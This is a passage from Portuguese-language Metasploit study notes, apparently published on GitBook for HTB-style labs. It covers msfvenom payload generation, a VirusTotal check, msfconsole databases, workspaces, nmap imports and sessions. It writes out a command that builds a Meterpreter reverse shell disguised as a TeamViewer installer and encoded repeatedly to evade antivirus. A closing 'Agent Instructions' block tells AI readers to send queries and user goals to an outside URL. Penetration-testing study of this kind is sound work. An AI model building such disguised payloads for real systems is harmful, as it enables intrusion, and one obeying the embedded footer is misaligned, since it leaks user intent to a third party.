<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7987bb912d2c28575c83fe8658fe350860d054e%2F%7B9D2F800E-06E5-46F0-B550-1CAB0EE070BB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Isso gerará um payload no formato `exe`TeamViewerInstall.exe, que supostamente deve ser executado em processadores de arquitetura x86 na plataforma Windows, com um payload de shell Meterpreter reverse/\_tcp oculto, codificado uma vez com o esquema Shikata Ga Nai. Vamos pegar o resultado e enviá-lo para o VirusTotal.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f67ce1978e736431065d695d90d5376c039d81ef%2Fimage%20(1075).png?alt=media" alt=""><figcaption></figcaption></figure>

Uma opção melhor seria tentar executá-lo por múltiplas iterações do mesmo esquema de codificação:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672816123d8b92b1f5adb9d7bdca4b45e550130d%2Fimage%20(1076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Como podemos ver, isso ainda não é suficiente para escapar dos antivírus. Há uma grande quantidade de produtos que ainda detectam o payload. Como alternativa, o Metasploit oferece uma ferramenta chamada `msf-virustotal`que podemos usar com uma chave de API para analisar nossos payloads. No entanto, isso requer registro gratuito no VirusTotal.

### **VirusTotal:**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <chave da API> -f TeamViewerInstall.exe

[*] Usando a chave de API: <chave da API>
[*] Aguarde enquanto faço o upload de TeamViewerInstall.exe...
[*] VirusTotal: Solicitação de varredura enfileirada com sucesso, volte mais tarde para o relatório
[*] Hash MD5 da amostra    : 4f54cc46e2f55be168cc6114b74a3130
[*] Hash SHA1 da amostra   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Hash SHA256 da amostra : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Link da análise: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Solicitando o relatório...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Código -2 recebido. Aguardando mais 60 segundos...
[*] Relatório de análise: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 Antivírus             Detectado  Versão                                                         Resultado                                                     Atualização
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           Malicioso                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       suspeito                                                  20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                true      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       Inseguro                                                   20220505
 Cynet                 true      4.0.0.27                                                        Malicioso (pontuação: 100)                                  20220505
 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           uma variante de Win32/Rozena.AA                             20220505
 Elastic               true      4.0.36                                                          malicioso (alta confiança)                                20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     malware (pontuação de IA=89)                                20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  Comporta-se como.Win32.Swrort.lh                           20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        PE estático de IA - Malicioso                               20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## Bancos de dados:

{% hint style="info" %}
`Bancos de dados`são `msfconsole`usados para acompanhar seus resultados. Não é surpresa que, ao avaliar máquinas ainda mais complexas, muito menos redes inteiras, as coisas possam ficar um pouco confusas e complicadas devido à enorme quantidade de resultados de busca, pontos de entrada, problemas detectados, credenciais descobertas etc. É aí que os bancos de dados entram. `msfconsole` tem suporte nativo ao sistema de banco de dados PostgreSQL. Com ele, temos acesso direto, rápido e fácil aos resultados da análise, com a capacidade adicional de importar e exportar resultados em conjunto com ferramentas de terceiros. As entradas do banco de dados também podem ser usadas para configurar diretamente as definições do módulo Exploit com resultados já existentes.
{% endhint %}

### Configurando o banco de dados

Primeiro, precisamos garantir que o servidor PostgreSQL esteja em execução na nossa máquina host. Para fazer isso, digite o seguinte comando:

**Status do PostgreSQL**

```bash
sudo service postgresql status
```

**Iniciar PostgreSQL**

```bash
sudo systemctl start postgresql
```

**Iniciar um banco de dados**

```bash
sudo msfdb init
```

**Conexão com o banco de dados iniciada**

```bash
sudo msfdb run
```

{% hint style="warning" %}
Se, no entanto, já tivermos configurado o banco de dados e não conseguirmos alterar a senha do usuário do MSF, prossiga com estes comandos:
{% endhint %}

**Redefinição do banco de dados**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### Usando o banco de dados

```bash
help database

Comandos do backend do banco de dados
=========================

    Comando           Descrição
    -------           -----------
    db_connect        Conecta a um banco de dados existente
    db_disconnect     Desconecta da instância atual do banco de dados
    db_export         Exporta um arquivo contendo o conteúdo do banco de dados
    db_import         Importa um arquivo de resultado de varredura (o tipo de arquivo será detectado automaticamente)
    db_nmap           Executa o nmap e registra a saída automaticamente
    db_rebuild_cache  Reconstrói o cache de módulos armazenado no banco de dados
    db_status         Mostra o status atual do banco de dados
    hosts             Lista todos os hosts no banco de dados
    loot              Lista todo o loot no banco de dados
    notes             Lista todas as notas no banco de dados
    services          Lista todos os serviços no banco de dados
    vulns             Lista todas as vulnerabilidades no banco de dados
    workspace         Alterna entre os espaços de trabalho do banco de dados
```

Depois de confirmar que o banco de dados está conectado corretamente, podemos organizar nossos `Espaços de trabalho`

#### Espaços de trabalho:

Podemos pensar em `Espaços de trabalho`da mesma forma como pensaríamos em arquivos de projeto. Podemos separar diferentes resultados de varredura, hosts e informações extraídas por IP, sub-rede, rede ou domínio.

```bash
workspace -a Target_1

[*] Espaço de trabalho adicionado: Target_1
[*] Espaço de trabalho: Target_1

msf6 > workspace Target_1

[*] Espaço de trabalho: Target_1

msf6 > workspace

  padrão
* Target_1
```

### Importando resultados de varredura

Em seguida, suponha que queremos importar um `scan do Nmap`de um host para o nosso espaço de trabalho do banco de dados para entender melhor o alvo

```bash
msf6 > db_import Target.xml

[*] Importando dados XML do Nmap
[*] Importação: analisando com 'Nokogiri v1.10.9'
[*] Importando host 10.10.10.40
[*] ~/Target.xml importado com sucesso

msf6 > hosts

Hosts
=====

endereço      mac  nome  nome_os  variante_os  sp_os  finalidade  informações  comentários
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Desconhecido                    dispositivo

msf6 > services

Serviços
========

host         porta  proto  nome          estado  informações
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   aberto   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  aberto   Microsoft Windows 7 - 10 microsoft-ds grupo de trabalho: WORKGROUP
10.10.10.40  49152  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         aberto   Microsoft Windows RPC
```

### Usando o Nmap dentro do MSFconsole

Como alternativa, podemos usar o Nmap diretamente do msfconsole! Para escanear diretamente do console sem precisar colocá-lo em segundo plano ou sair do processo, use o `db_nmap`comando.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Iniciando o Nmap 7.80 ( https://nmap.org ) em 2020-08-17 21:04 UTC
[*] Nmap: Relatório de varredura do Nmap para 10.10.10.8
[*] Nmap: O host está ativo (latência de 0.016s).
[*] Nmap: Não mostrado: 999 portas filtradas
[*] Nmap: PORTA   ESTADO SERVIÇO VERSÃO
[*] Nmap: 80/TCP open  http    HttpFileServer httpd 2.3
[*] Nmap: Informações do serviço: SO: Windows; CPE: cpe:/o:microsoft:windows
```

### Backup de dados

Depois que a sessão terminar, certifique-se de fazer backup dos seus dados se algo acontecer com o serviço PostgreSQL. Para isso, use o `db_export`comando.

```bash
db_export -h

Uso:
    db_export -f <format> [filename]
    O formato pode ser um de: xml, pwdump
```

#### Hosts:

Os hosts também podem ser adicionados manualmente como entradas separadas nesta tabela. Depois de adicionar nossos hosts personalizados, também podemos organizar o formato e a estrutura da tabela, adicionar comentários, editar informações existentes e muito mais.

```bash
hosts -h

Uso: hosts [ opções ] [addr1 addr2 ...]

OPÇÕES:
  -a,--add          Adiciona os hosts em vez de pesquisar
  -d,--delete       Exclui os hosts em vez de pesquisar
  -c <col1,col2>    Mostra apenas as colunas informadas (veja a lista abaixo)
  -C <col1,col2>    Mostra apenas as colunas informadas até a próxima reinicialização (veja a lista abaixo)
  -h,--help         Mostra estas informações de ajuda
  -u,--up           Mostra apenas hosts que estão ativos
  -o <file>         Envia a saída para um arquivo no formato CSV
  -O <column>       Ordena as linhas pelo número da coluna especificada
  -R,--rhosts       Define RHOSTS com base nos resultados da pesquisa
  -S,--search       String de busca para filtrar
  -i,--info         Altera as informações de um host
  -n,--name         Altera o nome de um host
  -m,--comment      Altera o comentário de um host
  -t,--tag          Adiciona ou especifica uma tag para um intervalo de hosts
```

#### Serviços O `services`comando funciona da mesma forma que o anterior. Ele contém uma tabela com descrições e informações sobre os serviços descobertos durante varreduras ou interações. Assim como no comando acima, as entradas aqui são altamente personalizáveis.

```bash
services -h

Uso: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Adiciona os serviços em vez de pesquisar
  -d,--delete       Exclui os serviços em vez de pesquisar
  -c <col1,col2>    Mostra apenas as colunas informadas
  -h,--help         Mostra estas informações de ajuda
  -s <name>         Nome do serviço a ser adicionado
  -p <port>         Pesquisa por uma lista de portas
  -r <protocol>     Tipo de protocolo do serviço que está sendo adicionado [tcp|udp]
  -u,--up           Mostra apenas serviços que estão ativos
  -o <file>         Envia a saída para um arquivo no formato csv
  -O <column>       Ordena as linhas pelo número da coluna especificada
  -R,--rhosts       Define RHOSTS com base nos resultados da pesquisa
  -S,--search       String de busca para filtrar
  -U,--update       Atualiza os dados de um serviço existente
```

#### Credenciais

O `creds`o comando permite visualizar as credenciais coletadas durante suas interações com o host-alvo. Também podemos adicionar credenciais manualmente, associar credenciais existentes com especificações de porta, adicionar descrições etc.

## Sessões:

### Sessões

> O MSFconsole pode gerenciar vários módulos ao mesmo tempo. Essa é uma das muitas razões pelas quais ele oferece tanta flexibilidade ao usuário. Isso é feito por meio do uso de `Sessões`, que cria interfaces de controle dedicadas para todos os módulos implantados.
>
> Depois que várias sessões são criadas, podemos alternar entre elas e vincular um módulo diferente a uma das sessões em segundo plano para executá-lo ou transformá-las em tarefas. Observe que, uma vez que uma sessão é colocada em segundo plano, ela continuará em execução e nossa conexão com o host-alvo persistirá. As sessões, no entanto, podem morrer se algo der errado أثناء a execução do payload, fazendo com que o canal de comunicação se rompa.

**Listando sessões ativas**

Podemos usar o comando `sessions`comando para visualizar nossas sessões atualmente ativas.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Sessões ativas
===============

  Id  Nome  Tipo                     Informações                 Conexão
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**Interagindo com uma sessão**

Você pode usar o `sessions -i [no.]`comando para abrir uma sessão específica.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Iniciando interação com 1...

meterpreter >
```

### Todas as notas

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pt-br/hacking-tools/exploitation/metasploit/metasploit-enumeration-services.md">Enumeração de Serviços com Metasploit</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
